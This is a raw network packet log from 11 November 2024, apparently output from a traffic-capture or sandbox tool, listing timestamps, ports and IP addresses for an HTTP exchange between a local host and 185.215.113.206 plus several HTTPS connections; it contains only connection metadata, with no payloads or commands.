Nov 11, 2024 12:40:29.600956917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600967884 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.600975037 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.600991011 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601000071 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601011038 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601021051 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601022959 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601031065 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601085901 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601097107 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601106882 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601109982 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601119995 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601125002 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601130962 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601140976 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601161003 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601166010 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601197004 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601213932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601239920 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601241112 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601254940 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601263046 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601267099 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601277113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601280928 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601290941 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601310968 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601358891 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601371050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601382017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601402044 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601413012 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601423979 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601433039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601434946 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601448059 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601460934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601466894 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601474047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601475954 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601485968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601497889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601500988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601510048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601522923 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601526022 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601535082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601545095 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601546049 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601557016 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601587057 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601700068 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601711988 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601722002 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601732969 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601736069 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601743937 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601757050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601768017 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601771116 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601782084 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601790905 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601795912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.601809978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.601835012 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.602125883 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.602484941 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.619329929 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.628341913 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.628686905 CET	49894	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.628701925 CET	443	49894	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.628879070 CET	49894	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.628885984 CET	443	49894	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.630026102 CET	49895	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.630026102 CET	49895	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.630048990 CET	443	49895	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.630059004 CET	443	49895	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.631480932 CET	49892	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.631486893 CET	443	49892	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.631500959 CET	49892	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.631505966 CET	443	49892	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.632355928 CET	49893	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.632364035 CET	443	49893	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.632373095 CET	49893	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.632378101 CET	443	49893	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.633824110 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.633836985 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.634197950 CET	49896	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.634210110 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.634694099 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.634912014 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.634922981 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.634957075 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.637064934 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.637140036 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.638705969 CET	49896	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.638822079 CET	443	49896	20.96.153.111	192.168.2.6
Nov 11, 2024 12:40:29.644689083 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.644697905 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.644893885 CET	49896	443	192.168.2.6	20.96.153.111
Nov 11, 2024 12:40:29.645956993 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.645968914 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.645978928 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646004915 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646014929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646025896 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646039009 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646064043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646131992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646143913 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646153927 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646166086 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646177053 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646188974 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646219969 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646233082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646267891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646290064 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646301031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646323919 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646334887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646352053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646364927 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646375895 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646387100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646398067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646431923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646442890 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646455050 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646470070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646481037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646485090 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646493912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646503925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646512985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646539927 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646727085 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646738052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646749020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646756887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646760941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646773100 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646776915 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646790981 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646796942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646805048 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646815062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646826982 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646886110 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.646910906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.646955013 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647001028 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647012949 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647026062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647036076 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647041082 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647053957 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647054911 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647066116 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647078037 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647084951 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647089005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647100925 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647110939 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647116899 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647116899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647130013 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647155046 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647170067 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647376060 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647411108 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647454977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647466898 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647476912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647495985 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647495985 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647505045 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647510052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647522926 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647532940 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647535086 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647546053 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647557020 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647567034 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647568941 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647578955 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647591114 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647598982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647614002 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647615910 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647629023 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647639036 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647639036 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647651911 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647654057 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647664070 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647676945 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647686958 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647697926 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647728920 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647758961 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647775888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647792101 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647809982 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647814035 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647821903 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647829056 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647833109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647845030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647856951 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647861958 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647869110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647882938 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647893906 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647907972 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647911072 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647923946 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647927999 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647937059 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647943974 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647954941 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647965908 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647975922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.647979975 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.647986889 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648013115 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648013115 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648024082 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648030996 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648036003 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648051977 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648056984 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648065090 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648066998 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648077011 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648088932 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648099899 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648101091 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648112059 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648119926 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648123980 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648137093 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648147106 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648149967 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648164988 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648180962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648191929 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648204088 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648216009 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648226976 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648233891 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648241997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648250103 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648256063 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648267031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648283005 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648283958 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648298025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648308039 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648308992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648324966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648325920 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648335934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648349047 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648350954 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648360968 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648376942 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648397923 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648595095 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648606062 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648617983 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648629904 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648639917 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648643970 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648653030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648653030 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648672104 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648679972 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648689032 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648700953 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648710966 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648711920 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648722887 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648722887 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648736000 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648749113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648751020 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648758888 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648772001 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648776054 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648783922 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648792028 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648802996 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648806095 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648816109 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648828030 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648838043 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648838997 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648852110 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648859024 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648864031 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648871899 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648874998 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648886919 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648897886 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648909092 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.648911953 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.648938894 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.649200916 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.649244070 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.649288893 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.649301052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.649311066 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.649322033 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.649333954 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.649338007 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.649367094 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.650329113 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.650377989 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.650392056 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.650402069 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.650424004 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.650439978 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.650495052 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.650506973 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.650512934 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.650535107 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.650568962 CET	49827	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:29.653070927 CET	49891	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.653081894 CET	443	49891	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.653140068 CET	49891	443	192.168.2.6	13.107.246.45
Nov 11, 2024 12:40:29.653146029 CET	443	49891	13.107.246.45	192.168.2.6
Nov 11, 2024 12:40:29.657167912 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657181025 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657191992 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657226086 CET	80	49827	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:29.657227039 CET	49827	80	192.168.2.6	185.215.113.206
